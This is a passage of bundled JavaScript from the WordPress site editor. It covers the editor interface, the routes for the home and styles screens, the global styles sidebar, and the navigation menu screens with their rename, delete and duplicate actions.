22488 postType: postWithTemplate ? context.postType : postType2
22489 }
22490 ),
22491 isReady && /* @__PURE__ */ (0, import_jsx_runtime167.jsxs)(
22492 Editor,
22493 {
22494 postType: postWithTemplate ? context.postType : postType2,
22495 postId: postWithTemplate ? context.postId : postId,
22496 templateId: postWithTemplate ? postId : void 0,
22497 settings: editorSettings,
22498 className: "edit-site-editor__editor-interface",
22499 customSaveButton: _isPreviewingTheme && /* @__PURE__ */ (0, import_jsx_runtime167.jsx)(SaveButton, { size: "compact" }),
22500 customSavePanel: _isPreviewingTheme && /* @__PURE__ */ (0, import_jsx_runtime167.jsx)(SavePanel, {}),
22501 iframeProps,
22502 onActionPerformed,
22503 extraSidebarPanels: !postWithTemplate && /* @__PURE__ */ (0, import_jsx_runtime167.jsx)(plugin_template_setting_panel_default.Slot, {}),
22504 children: [
22505 isEditMode && /* @__PURE__ */ (0, import_jsx_runtime167.jsx)(ViewportSync, {}),
22506 isEditMode && /* @__PURE__ */ (0, import_jsx_runtime167.jsx)(BackButton, { children: ({ length }) => length <= 1 && /* @__PURE__ */ (0, import_jsx_runtime167.jsxs)(
22507 import_components82.__unstableMotion.div,
22508 {
22509 className: "edit-site-editor__view-mode-toggle",
22510 transition,
22511 animate: "edit",
22512 initial: "edit",
22513 whileHover: "hover",
22514 whileTap: "tap",
22515 children: [
22516 /* @__PURE__ */ (0, import_jsx_runtime167.jsx)(
22517 import_components82.Button,
22518 {
22519 __next40pxDefaultSize: true,
22520 label: (0, import_i18n70.__)("Open Navigation"),
22521 showTooltip: true,
22522 tooltipPosition: "middle right",
22523 onClick: () => {
22524 resetZoomLevel();
22525 setCurrentRevisionId(null);
22526 history.navigate(
22527 getNavigationPath(
22528 location,
22529 postWithTemplate ? context.postType : postType2
22530 ),
22531 {
22532 transition: "canvas-mode-view-transition"
22533 }
22534 );
22535 },
22536 children: /* @__PURE__ */ (0, import_jsx_runtime167.jsx)(
22537 import_components82.__unstableMotion.div,
22538 {
22539 variants: siteIconVariants,
22540 children: /* @__PURE__ */ (0, import_jsx_runtime167.jsx)(site_icon_default, { className: "edit-site-editor__view-mode-toggle-icon" })
22541 }
22542 )
22543 }
22544 ),
22545 /* @__PURE__ */ (0, import_jsx_runtime167.jsx)(
22546 import_components82.__unstableMotion.div,
22547 {
22548 className: clsx_default(
22549 "edit-site-editor__back-icon",
22550 {
22551 "has-site-icon": hasSiteIcon
22552 }
22553 ),
22554 variants: toggleHomeIconVariants,
22555 children: /* @__PURE__ */ (0, import_jsx_runtime167.jsx)(icon_default, { icon: arrow_up_left_default })
22556 }
22557 )
22558 ]
22559 }
22560 ) }),
22561 /* @__PURE__ */ (0, import_jsx_runtime167.jsx)(MoreMenu, {})
22562 ]
22563 }
22564 )
22565 ] });
22566 }
22567
22568 // packages/edit-site/build-module/components/site-editor-routes/utils.mjs
22569 function isClassicThemeWithStyleBookSupport(siteData) {
22570 const isBlockTheme = siteData.currentTheme?.is_block_theme;
22571 const supportsEditorStyles = siteData.currentTheme?.theme_supports["editor-styles"];
22572 const hasThemeJson = siteData.editorSettings?.supportsLayout;
22573 return !isBlockTheme && (supportsEditorStyles || hasThemeJson);
22574 }
22575
22576 // packages/edit-site/build-module/components/site-editor-routes/home.mjs
22577 var import_jsx_runtime168 = __toESM(require_jsx_runtime(), 1);
22578 var homeRoute = {
22579 name: "home",
22580 path: "/",
22581 areas: {
22582 sidebar({ siteData }) {
22583 const isBlockTheme = siteData.currentTheme?.is_block_theme;
22584 return isBlockTheme || isClassicThemeWithStyleBookSupport(siteData) ? /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(SidebarNavigationScreenMain, {}) : /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(SidebarNavigationScreenUnsupported, {});
22585 },
22586 preview({ siteData }) {
22587 const isBlockTheme = siteData.currentTheme?.is_block_theme;
22588 return isBlockTheme || isClassicThemeWithStyleBookSupport(siteData) ? /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(EditSiteEditor, { isHomeRoute: true }) : void 0;
22589 },
22590 mobile({ siteData }) {
22591 const isBlockTheme = siteData.currentTheme?.is_block_theme;
22592 return isBlockTheme || isClassicThemeWithStyleBookSupport(siteData) ? /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(SidebarNavigationScreenMain, {}) : /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(SidebarNavigationScreenUnsupported, {});
22593 }
22594 }
22595 };
22596
22597 // packages/edit-site/build-module/components/site-editor-routes/styles.mjs
22598 var import_router20 = __toESM(require_router(), 1);
22599 var import_editor23 = __toESM(require_editor(), 1);
22600 var import_url13 = __toESM(require_url(), 1);
22601
22602 // packages/edit-site/build-module/components/sidebar-global-styles/index.mjs
22603 var import_i18n71 = __toESM(require_i18n(), 1);
22604 var import_element59 = __toESM(require_element(), 1);
22605 var import_router19 = __toESM(require_router(), 1);
22606 var import_editor22 = __toESM(require_editor(), 1);
22607 var import_compose11 = __toESM(require_compose(), 1);
22608 var import_components83 = __toESM(require_components(), 1);
22609 var import_url12 = __toESM(require_url(), 1);
22610 var import_jsx_runtime169 = __toESM(require_jsx_runtime(), 1);
22611 var { GlobalStylesUIWrapper, GlobalStylesActionMenu } = unlock(import_editor22.privateApis);
22612 var { useLocation: useLocation18, useHistory: useHistory12 } = unlock(import_router19.privateApis);
22613 var GlobalStylesPageActions = ({
22614 isStyleBookOpened,
22615 setIsStyleBookOpened,
22616 path,
22617 onChangeSection
22618 }) => {
22619 const history = useHistory12();
22620 return /* @__PURE__ */ (0, import_jsx_runtime169.jsxs)(import_components83.__experimentalHStack, { children: [
22621 /* @__PURE__ */ (0, import_jsx_runtime169.jsx)(
22622 import_components83.Button,
22623 {
22624 isPressed: isStyleBookOpened,
22625 icon: seen_default,
22626 label: (0, import_i18n71.__)("Style Book"),
22627 onClick: () => {
22628 setIsStyleBookOpened(!isStyleBookOpened);
22629 const updatedPath = !isStyleBookOpened ? (0, import_url12.addQueryArgs)(path, { preview: "stylebook" }) : (0, import_url12.removeQueryArgs)(path, "preview");
22630 history.navigate(updatedPath);
22631 },
22632 size: "compact"
22633 }
22634 ),
22635 /* @__PURE__ */ (0, import_jsx_runtime169.jsx)(
22636 GlobalStylesActionMenu,
22637 {
22638 hideWelcomeGuide: true,
22639 onChangePath: onChangeSection
22640 }
22641 )
22642 ] });
22643 };
22644 var useSection = () => {
22645 const { path, query } = useLocation18();
22646 const history = useHistory12();
22647 return (0, import_element59.useMemo)(() => {
22648 return [
22649 query.section ?? "/",
22650 (updatedSection) => {
22651 history.navigate(
22652 (0, import_url12.addQueryArgs)(path, {
22653 section: updatedSection
22654 })
22655 );
22656 }
22657 ];
22658 }, [path, query.section, history]);
22659 };
22660 function SidebarGlobalStyles() {
22661 const { path } = useLocation18();
22662 const [isStyleBookOpened, setIsStyleBookOpened] = (0, import_element59.useState)(
22663 path.includes("preview=stylebook")
22664 );
22665 const isMobileViewport = (0, import_compose11.useViewportMatch)("medium", "<");
22666 const [section, onChangeSection] = useSection();
22667 return /* @__PURE__ */ (0, import_jsx_runtime169.jsx)(
22668 page_default2,
22669 {
22670 actions: !isMobileViewport ? /* @__PURE__ */ (0, import_jsx_runtime169.jsx)(
22671 GlobalStylesPageActions,
22672 {
22673 isStyleBookOpened,
22674 setIsStyleBookOpened,
22675 path,
22676 onChangeSection
22677 }
22678 ) : null,
22679 className: "edit-site-styles",
22680 title: (0, import_i18n71.__)("Styles"),
22681 headingLevel: 2,
22682 children: /* @__PURE__ */ (0, import_jsx_runtime169.jsx)(
22683 GlobalStylesUIWrapper,
22684 {
22685 path: section,
22686 onPathChange: onChangeSection
22687 }
22688 )
22689 }
22690 );
22691 }
22692
22693 // packages/edit-site/build-module/components/site-editor-routes/styles.mjs
22694 var import_jsx_runtime170 = __toESM(require_jsx_runtime(), 1);
22695 var { useLocation: useLocation19, useHistory: useHistory13 } = unlock(import_router20.privateApis);
22696 var { StyleBookPreview } = unlock(import_editor23.privateApis);
22697 function MobileGlobalStylesUI() {
22698 const { query = {} } = useLocation19();
22699 const { canvas } = query;
22700 if (canvas === "edit") {
22701 return /* @__PURE__ */ (0, import_jsx_runtime170.jsx)(EditSiteEditor, {});
22702 }
22703 return /* @__PURE__ */ (0, import_jsx_runtime170.jsx)(SidebarGlobalStyles, {});
22704 }
22705 function StylesPreviewArea() {
22706 const { path, query } = useLocation19();
22707 const history = useHistory13();
22708 const isStylebook = query.preview === "stylebook";
22709 const section = query.section ?? "/";
22710 const onChangeSection = (updatedSection) => {
22711 history.navigate(
22712 (0, import_url13.addQueryArgs)(path, {
22713 section: updatedSection
22714 })
22715 );
22716 };
22717 if (isStylebook) {
22718 return /* @__PURE__ */ (0, import_jsx_runtime170.jsx)(
22719 StyleBookPreview,
22720 {
22721 path: section,
22722 onPathChange: onChangeSection
22723 }
22724 );
22725 }
22726 return /* @__PURE__ */ (0, import_jsx_runtime170.jsx)(EditSiteEditor, {});
22727 }
22728 var stylesRoute = {
22729 name: "styles",
22730 path: "/styles",
22731 areas: {
22732 content: /* @__PURE__ */ (0, import_jsx_runtime170.jsx)(SidebarGlobalStyles, {}),
22733 sidebar: /* @__PURE__ */ (0, import_jsx_runtime170.jsx)(SidebarNavigationScreenGlobalStyles, { backPath: "/" }),
22734 preview: /* @__PURE__ */ (0, import_jsx_runtime170.jsx)(StylesPreviewArea, {}),
22735 mobile: /* @__PURE__ */ (0, import_jsx_runtime170.jsx)(MobileGlobalStylesUI, {})
22736 },
22737 widths: {
22738 content: 380
22739 }
22740 };
22741
22742 // packages/edit-site/build-module/components/site-editor-routes/navigation.mjs
22743 var import_router25 = __toESM(require_router(), 1);
22744
22745 // packages/edit-site/build-module/components/sidebar-navigation-screen-navigation-menus/index.mjs
22746 var import_i18n80 = __toESM(require_i18n(), 1);
22747 var import_core_data38 = __toESM(require_core_data(), 1);
22748 var import_data54 = __toESM(require_data(), 1);
22749 var import_html_entities8 = __toESM(require_html_entities(), 1);
22750 var import_components89 = __toESM(require_components(), 1);
22751
22752 // packages/edit-site/build-module/components/sidebar-navigation-screen-navigation-menus/constants.mjs
22753 var PRELOADED_NAVIGATION_MENUS_QUERY = {
22754 per_page: 100,
22755 status: ["publish", "draft"],
22756 order: "desc",
22757 orderby: "date"
22758 };
22759
22760 // packages/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/single-navigation-menu.mjs
22761 var import_i18n77 = __toESM(require_i18n(), 1);
22762 var import_html_entities6 = __toESM(require_html_entities(), 1);
22763
22764 // packages/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/more-menu.mjs
22765 var import_components86 = __toESM(require_components(), 1);
22766 var import_i18n74 = __toESM(require_i18n(), 1);
22767 var import_element61 = __toESM(require_element(), 1);
22768 var import_router21 = __toESM(require_router(), 1);
22769
22770 // packages/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/rename-modal.mjs
22771 var import_components84 = __toESM(require_components(), 1);
22772 var import_i18n72 = __toESM(require_i18n(), 1);
22773 var import_element60 = __toESM(require_element(), 1);
22774 var import_jsx_runtime171 = __toESM(require_jsx_runtime(), 1);
22775 var notEmptyString = (testString) => testString?.trim()?.length > 0;
22776 function RenameModal({ menuTitle, onClose, onSave }) {
22777 const [editedMenuTitle, setEditedMenuTitle] = (0, import_element60.useState)(menuTitle);
22778 const titleHasChanged = editedMenuTitle !== menuTitle;
22779 const isEditedMenuTitleValid = titleHasChanged && notEmptyString(editedMenuTitle);
22780 return /* @__PURE__ */ (0, import_jsx_runtime171.jsx)(
22781 import_components84.Modal,
22782 {
22783 title: (0, import_i18n72.__)("Rename"),
22784 onRequestClose: onClose,
22785 focusOnMount: "firstContentElement",
22786 size: "small",
22787 children: /* @__PURE__ */ (0, import_jsx_runtime171.jsx)("form", { className: "sidebar-navigation__rename-modal-form", children: /* @__PURE__ */ (0, import_jsx_runtime171.jsxs)(import_components84.__experimentalVStack, { spacing: "3", children: [
22788 /* @__PURE__ */ (0, import_jsx_runtime171.jsx)(
22789 import_components84.TextControl,
22790 {
22791 __next40pxDefaultSize: true,
22792 value: editedMenuTitle,
22793 placeholder: (0, import_i18n72.__)("Navigation title"),
22794 onChange: setEditedMenuTitle,
22795 label: (0, import_i18n72.__)("Name")
22796 }
22797 ),
22798 /* @__PURE__ */ (0, import_jsx_runtime171.jsxs)(import_components84.__experimentalHStack, { justify: "right", children: [
22799 /* @__PURE__ */ (0, import_jsx_runtime171.jsx)(
22800 import_components84.Button,
22801 {
22802 __next40pxDefaultSize: true,
22803 variant: "tertiary",
22804 onClick: onClose,
22805 children: (0, import_i18n72.__)("Cancel")
22806 }
22807 ),
22808 /* @__PURE__ */ (0, import_jsx_runtime171.jsx)(
22809 import_components84.Button,
22810 {
22811 __next40pxDefaultSize: true,
22812 accessibleWhenDisabled: true,
22813 disabled: !isEditedMenuTitleValid,
22814 variant: "primary",
22815 type: "submit",
22816 onClick: (e2) => {
22817 e2.preventDefault();
22818 if (!isEditedMenuTitleValid) {
22819 return;
22820 }
22821 onSave({ title: editedMenuTitle });
22822 onClose();
22823 },
22824 children: (0, import_i18n72.__)("Save")
22825 }
22826 )
22827 ] })
22828 ] }) })
22829 }
22830 );
22831 }
22832
22833 // packages/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/delete-confirm-dialog.mjs
22834 var import_components85 = __toESM(require_components(), 1);
22835 var import_i18n73 = __toESM(require_i18n(), 1);
22836 var import_jsx_runtime172 = __toESM(require_jsx_runtime(), 1);
22837 function DeleteConfirmDialog({ onClose, onConfirm }) {
22838 return /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(
22839 import_components85.__experimentalConfirmDialog,
22840 {
22841 isOpen: true,
22842 onConfirm: () => {
22843 onConfirm();
22844 onClose();
22845 },
22846 onCancel: onClose,
22847 confirmButtonText: (0, import_i18n73.__)("Delete"),
22848 size: "medium",
22849 children: (0, import_i18n73.__)("Are you sure you want to delete this Navigation Menu?")
22850 }
22851 );
22852 }
22853
22854 // packages/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/more-menu.mjs
22855 var import_jsx_runtime173 = __toESM(require_jsx_runtime(), 1);
22856 var { useHistory: useHistory14 } = unlock(import_router21.privateApis);
22857 var POPOVER_PROPS = {
22858 position: "bottom right"
22859 };
22860 function ScreenNavigationMoreMenu(props) {
22861 const { onDelete, onSave, onDuplicate, menuTitle, menuId } = props;
22862 const [renameModalOpen, setRenameModalOpen] = (0, import_element61.useState)(false);
22863 const [deleteConfirmDialogOpen, setDeleteConfirmDialogOpen] = (0, import_element61.useState)(false);
22864 const history = useHistory14();
22865 const closeModals = () => {
22866 setRenameModalOpen(false);
22867 setDeleteConfirmDialogOpen(false);
22868 };
22869 const openRenameModal = () => setRenameModalOpen(true);
22870 const openDeleteConfirmDialog = () => setDeleteConfirmDialogOpen(true);
22871 return /* @__PURE__ */ (0, import_jsx_runtime173.jsxs)(import_jsx_runtime173.Fragment, { children: [
22872 /* @__PURE__ */ (0, import_jsx_runtime173.jsx)(
22873 import_components86.DropdownMenu,
22874 {
22875 className: "sidebar-navigation__more-menu",
22876 label: (0, import_i18n74.__)("Actions"),
22877 icon: more_vertical_default,
22878 popoverProps: POPOVER_PROPS,
22879 children: ({ onClose }) => /* @__PURE__ */ (0, import_jsx_runtime173.jsxs)(import_components86.MenuGroup, { children: [
22880 /* @__PURE__ */ (0, import_jsx_runtime173.jsx)(
22881 import_components86.MenuItem,
22882 {
22883 onClick: () => {
22884 openRenameModal();
22885 onClose();
22886 },
22887 children: (0, import_i18n74.__)("Rename")
22888 }
22889 ),
22890 /* @__PURE__ */ (0, import_jsx_runtime173.jsx)(
22891 import_components86.MenuItem,
22892 {
22893 onClick: () => {
22894 history.navigate(
22895 `/wp_navigation/${menuId}?canvas=edit`
22896 );
22897 },
22898 children: (0, import_i18n74.__)("Edit")
22899 }
22900 ),
22901 /* @__PURE__ */ (0, import_jsx_runtime173.jsx)(
22902 import_components86.MenuItem,
22903 {
22904 onClick: () => {
22905 onDuplicate();
22906 onClose();
22907 },
22908 children: (0, import_i18n74.__)("Duplicate")
22909 }
22910 ),
22911 /* @__PURE__ */ (0, import_jsx_runtime173.jsx)(
22912 import_components86.MenuItem,
22913 {
22914 isDestructive: true,
22915 onClick: () => {
22916 openDeleteConfirmDialog();
22917 onClose();
22918 },
22919 children: (0, import_i18n74.__)("Delete")
22920 }
22921 )
22922 ] })
22923 }
22924 ),
22925 deleteConfirmDialogOpen && /* @__PURE__ */ (0, import_jsx_runtime173.jsx)(
22926 DeleteConfirmDialog,
22927 {
22928 onClose: closeModals,
22929 onConfirm: onDelete
22930 }
22931 ),
22932 renameModalOpen && /* @__PURE__ */ (0, import_jsx_runtime173.jsx)(
22933 RenameModal,
22934 {
22935 onClose: closeModals,
22936 menuTitle,
22937 onSave
22938 }
22939 )
22940 ] });
22941 }
22942
22943 // packages/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/navigation-menu-editor.mjs
22944 var import_element64 = __toESM(require_element(), 1);
22945 var import_data51 = __toESM(require_data(), 1);
22946 var import_block_editor21 = __toESM(require_block_editor(), 1);
22947 var import_blocks10 = __toESM(require_blocks(), 1);
22948
22949 // packages/edit-site/build-module/components/sidebar-navigation-screen-navigation-menus/navigation-menu-content.mjs
22950 var import_block_editor20 = __toESM(require_block_editor(), 1);
22951 var import_data50 = __toESM(require_data(), 1);
22952 var import_blocks9 = __toESM(require_blocks(), 1);
22953 var import_element63 = __toESM(require_element(), 1);
22954 var import_core_data35 = __toESM(require_core_data(), 1);
22955
22956 // packages/edit-site/build-module/components/sidebar-navigation-screen-navigation-menus/leaf-more-menu.mjs
22957 var import_components87 = __toESM(require_components(), 1);
22958 var import_data49 = __toESM(require_data(), 1);
22959 var import_element62 = __toESM(require_element(), 1);
22960 var import_i18n75 = __toESM(require_i18n(), 1);
22961 var import_block_editor19 = __toESM(require_block_editor(), 1);
22962 var import_router22 = __toESM(require_router(), 1);
22963 var import_jsx_runtime174 = __toESM(require_jsx_runtime(), 1);
22964 var POPOVER_PROPS2 = {
22965 className: "block-editor-block-settings-menu__popover",
22966 placement: "bottom-start"
22967 };
22968 var { useHistory: useHistory15, useLocation: useLocation20 } = unlock(import_router22.privateApis);
22969 function LeafMoreMenu(props) {
22970 const history = useHistory15();
22971 const { path } = useLocation20();
22972 const { block } = props;
22973 const { clientId } = block;
22974 const { moveBlocksDown, moveBlocksUp, removeBlocks } = (0, import_data49.useDispatch)(import_block_editor19.store);
22975 const removeLabel = (0, import_i18n75.sprintf)(
22976 /* translators: %s: block name */
22977 (0, import_i18n75.__)("Remove %s"),
22978 (0, import_block_editor19.BlockTitle)({ clientId, maximumLength: 25 })
22979 );
22980 const goToLabel = (0, import_i18n75.sprintf)(
22981 /* translators: %s: block name */
22982 (0, import_i18n75.__)("Go to %s"),
22983 (0, import_block_editor19.BlockTitle)({ clientId, maximumLength: 25 })
22984 );
22985 const rootClientId = (0, import_data49.useSelect)(
22986 (select3) => {
22987 const { getBlockRootClientId } = select3(import_block_editor19.store);
22988 return getBlockRootClientId(clientId);
22989 },
22990 [clientId]
22991 );
22992 const onGoToPage = (0, import_element62.useCallback)(
22993 (selectedBlock) => {
22994 const { attributes, name: name2 } = selectedBlock;
22995 if (attributes.kind === "post-type" && attributes.id && attributes.type && history) {
22996 history.navigate(
22997 `/${attributes.type}/${attributes.id}?canvas=edit`,
22998 {
22999 state: { backPath: path }
23000 }
23001 );
23002 }
23003 if (name2 === "core/page-list-item" && attributes.id && history) {
23004 history.navigate(`/page/${attributes.id}?canvas=edit`, {
23005 state: { backPath: path }
23006 });
23007 }
23008 },
23009 [path, history]
23010 );
23011 return /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(
23012 import_components87.DropdownMenu,
23013 {
23014 icon: more_vertical_default,
23015 label: (0, import_i18n75.__)("Options"),
23016 className: "block-editor-block-settings-menu",
23017 popoverProps: POPOVER_PROPS2,
23018 noIcons: true,
23019 ...props,
23020 children: ({ onClose }) => /* @__PURE__ */ (0, import_jsx_runtime174.jsxs)(import_jsx_runtime174.Fragment, { children: [
23021 /* @__PURE__ */ (0, import_jsx_runtime174.jsxs)(import_components87.MenuGroup, { children: [
23022 /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(
23023 import_components87.MenuItem,
23024 {
23025 icon: chevron_up_default,
23026 onClick: () => {
23027 moveBlocksUp([clientId], rootClientId);
23028 onClose();
23029 },
23030 children: (0, import_i18n75.__)("Move up")
23031 }
23032 ),
23033 /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(
23034 import_components87.MenuItem,
23035 {
23036 icon: chevron_down_default,
23037 onClick: () => {
23038 moveBlocksDown([clientId], rootClientId);
23039 onClose();
23040 },
23041 children: (0, import_i18n75.__)("Move down")
23042 }
23043 ),
23044 block.attributes?.type === "page" && block.attributes?.id && /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(
23045 import_components87.MenuItem,
23046 {
23047 onClick: () => {
23048 onGoToPage(block);
23049 onClose();
23050 },
23051 children: goToLabel
23052 }
23053 )
23054 ] }),
23055 /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(import_components87.MenuGroup, { children: /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(
23056 import_components87.MenuItem,
23057 {
23058 onClick: () => {
23059 removeBlocks([clientId], false);
23060 onClose();
23061 },
23062 children: removeLabel
23063 }
23064 ) })
23065 ] })
23066 }
23067 );
23068 }
23069
23070 // packages/edit-site/build-module/components/sidebar-navigation-screen-navigation-menus/navigation-menu-content.mjs
23071 var import_jsx_runtime175 = __toESM(require_jsx_runtime(), 1);
23072 var { PrivateListView } = unlock(import_block_editor20.privateApis);
23073 var MAX_PAGE_COUNT = 100;
23074 var PAGES_QUERY = [
23075 "postType",
23076 "page",
23077 {
23078 per_page: MAX_PAGE_COUNT,
23079 _fields: ["id", "link", "menu_order", "parent", "title", "type"],
23080 // TODO: When https://core.trac.wordpress.org/ticket/39037 REST API support for multiple orderby
23081 // values is resolved, update 'orderby' to [ 'menu_order', 'post_title' ] to provide a consistent
23082 // sort.
23083 orderby: "menu_order",
23084 order: "asc"
23085 }
23086 ];
23087 function NavigationMenuContent({ rootClientId }) {
23088 const { listViewRootClientId, isLoading } = (0, import_data50.useSelect)(
23089 (select3) => {
23090 const {
23091 areInnerBlocksControlled,
23092 getBlockName,
23093 getBlockCount,
23094 getBlockOrder
23095 } = select3(import_block_editor20.store);
23096 const { isResolving } = select3(import_core_data35.store);
23097 const blockClientIds = getBlockOrder(rootClientId);
23098 const hasOnlyPageListBlock = blockClientIds.length === 1 && getBlockName(blockClientIds[0]) === "core/page-list";
23099 const pageListHasBlocks = hasOnlyPageListBlock && getBlockCount(blockClientIds[0]) > 0;
23100 const isLoadingPages = isResolving(
23101 "getEntityRecords",
23102 PAGES_QUERY
23103 );
23104 return {
23105 listViewRootClientId: pageListHasBlocks ? blockClientIds[0] : rootClientId,
23106 // This is a small hack to wait for the navigation block
23107 // to actually load its inner blocks.
23108 isLoading: !areInnerBlocksControlled(rootClientId) || isLoadingPages
23109 };
23110 },
23111 [rootClientId]
23112 );
23113 const { replaceBlock, __unstableMarkNextChangeAsNotPersistent } = (0, import_data50.useDispatch)(import_block_editor20.store);
23114 const offCanvasOnselect = (0, import_element63.useCallback)(
23115 (block) => {
23116 if (block.name === "core/navigation-link" && !block.attributes.url) {
23117 __unstableMarkNextChangeAsNotPersistent();
23118 replaceBlock(
23119 block.clientId,
23120 (0, import_blocks9.createBlock)("core/navigation-link", block.attributes)
23121 );
23122 }
23123 },
23124 [__unstableMarkNextChangeAsNotPersistent, replaceBlock]
23125 );
23126 return /* @__PURE__ */ (0, import_jsx_runtime175.jsxs)(import_jsx_runtime175.Fragment, { children: [
23127 !isLoading && /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(
23128 PrivateListView,
23129 {
23130 rootClientId: listViewRootClientId,
23131 onSelect: offCanvasOnselect,
23132 blockSettingsMenu: LeafMoreMenu,
23133 showAppender: false,
23134 isExpanded: true
23135 }
23136 ),
23137 /* @__PURE__ */ (0, import_jsx_runtime175.jsx)("div", { className: "edit-site-sidebar-navigation-screen-navigation-menus__helper-block-editor", children: /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(import_block_editor20.BlockList, {}) })
23138 ] });
23139 }
23140
23141 // packages/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/navigation-menu-editor.mjs
23142 var import_jsx_runtime176 = __toESM(require_jsx_runtime(), 1);
23143 var noop2 = () => {
23144 };
23145 function NavigationMenuEditor({ navigationMenuId }) {
23146 const { storedSettings } = (0, import_data51.useSelect)((select3) => {
23147 const { getSettings: getSettings7 } = unlock(select3(store));
23148 return {
23149 storedSettings: getSettings7()
23150 };
23151 }, []);
23152 const blocks = (0, import_element64.useMemo)(() => {
23153 if (!navigationMenuId) {
23154 return [];
23155 }
23156 return [(0, import_blocks10.createBlock)("core/navigation", { ref: navigationMenuId })];
23157 }, [navigationMenuId]);
23158 if (!navigationMenuId || !blocks?.length) {
23159 return null;
23160 }
23161 return /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(
23162 import_block_editor21.BlockEditorProvider,
23163 {
23164 settings: storedSettings,
23165 value: blocks,
23166 onChange: noop2,
23167 onInput: noop2,
23168 children: /* @__PURE__ */ (0, import_jsx_runtime176.jsx)("div", { className: "edit-site-sidebar-navigation-screen-navigation-menus__content", children: /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(NavigationMenuContent, { rootClientId: blocks[0].clientId }) })
23169 }
23170 );
23171 }
23172
23173 // packages/edit-site/build-module/components/sidebar-navigation-screen-navigation-menus/build-navigation-label.mjs
23174 var import_i18n76 = __toESM(require_i18n(), 1);
23175 var import_html_entities5 = __toESM(require_html_entities(), 1);
23176 function buildNavigationLabel(title, id, status) {
23177 if (!title?.rendered) {
23178 return (0, import_i18n76.sprintf)((0, import_i18n76.__)("(no title %s)"), id);
23179 }
23180 if (status === "publish") {
23181 return (0, import_html_entities5.decodeEntities)(title?.rendered);
23182 }
23183 return (0, import_i18n76.sprintf)(
23184 // translators: 1: title of the menu. 2: status of the menu (draft, pending, etc.).
23185 (0, import_i18n76._x)("%1$s (%2$s)", "menu label"),
23186 (0, import_html_entities5.decodeEntities)(title?.rendered),
23187 status
23188 );
23189 }
23190
23191 // packages/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/single-navigation-menu.mjs
23192 var import_jsx_runtime177 = __toESM(require_jsx_runtime(), 1);
23193 function SingleNavigationMenu({
23194 navigationMenu,
23195 backPath,
23196 handleDelete,
23197 handleDuplicate,
23198 handleSave
23199 }) {
23200 const menuTitle = navigationMenu?.title?.rendered;
23201 return /* @__PURE__ */ (0, import_jsx_runtime177.jsx)(
23202 SidebarNavigationScreenWrapper,
23203 {
23204 actions: /* @__PURE__ */ (0, import_jsx_runtime177.jsx)(import_jsx_runtime177.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime177.jsx)(
23205 ScreenNavigationMoreMenu,
23206 {
23207 menuId: navigationMenu?.id,
23208 menuTitle: (0, import_html_entities6.decodeEntities)(menuTitle),
23209 onDelete: handleDelete,
23210 onSave: handleSave,
23211 onDuplicate: handleDuplicate
23212 }
23213 ) }),
23214 backPath,
23215 title: buildNavigationLabel(
23216 navigationMenu?.title,
23217 navigationMenu?.id,
23218 navigationMenu?.status
23219 ),
23220 description: (0, import_i18n77.__)(
23221 "Navigation Menus are a curated collection of blocks that allow visitors to get around your site."
23222 ),
23223 children: /* @__PURE__ */ (0, import_jsx_runtime177.jsx)(NavigationMenuEditor, { navigationMenuId: navigationMenu?.id })
23224 }
23225 );
23226 }
23227
23228 // packages/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/use-navigation-menu-handlers.mjs
23229 var import_core_data37 = __toESM(require_core_data(), 1);
23230 var import_i18n79 = __toESM(require_i18n(), 1);
23231 var import_data53 = __toESM(require_data(), 1);
23232 var import_notices4 = __toESM(require_notices(), 1);
23233 var import_router24 = __toESM(require_router(), 1);
23234
23235 // packages/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/index.mjs
23236 var import_core_data36 = __toESM(require_core_data(), 1);
23237 var import_components88 = __toESM(require_components(), 1);
23238 var import_i18n78 = __toESM(require_i18n(), 1);
23239 var import_data52 = __toESM(require_data(), 1);
23240 var import_html_entities7 = __toESM(require_html_entities(), 1);
23241 var import_router23 = __toESM(require_router(), 1);
23242 var import_jsx_runtime178 = __toESM(require_jsx_runtime(), 1);
23243 var { useLocation: useLocation21 } = unlock(import_router23.privateApis);
23244 var postType = `wp_navigation`;
23245 function SidebarNavigationScreenNavigationMenu({ backPath }) {
23246 const {
23247 params: { postId }
23248 } = useLocation21();
23249 const { record: navigationMenu, isResolving } = (0, import_core_data36.useEntityRecord)(
23250 "postType",
23251 postType,
23252 postId
23253 );
23254 const { isSaving, isDeleting } = (0, import_data52.useSelect)(
23255 (select3) => {
23256 const { isSavingEntityRecord, isDeletingEntityRecord } = select3(import_core_data36.store);
23257 return {
23258 isSaving: isSavingEntityRecord("postType", postType, postId),
23259 isDeleting: isDeletingEntityRecord(
23260 "postType",
23261 postType,
23262 postId
23263 )
23264 };
23265 },
23266 [postId]
23267 );
23268 const isLoading = isResolving || isSaving || isDeleting;
23269 const menuTitle = navigationMenu?.title?.rendered || navigationMenu?.slug;
23270 const { handleSave, handleDelete, handleDuplicate } = useNavigationMenuHandlers();
23271 const _handleDelete = () => handleDelete(navigationMenu);
23272 const _handleSave = (edits) => handleSave(navigationMenu, edits);
23273 const _handleDuplicate = () => handleDuplicate(navigationMenu);
23274 if (isLoading) {
23275 return /* @__PURE__ */ (0, import_jsx_runtime178.jsx)(
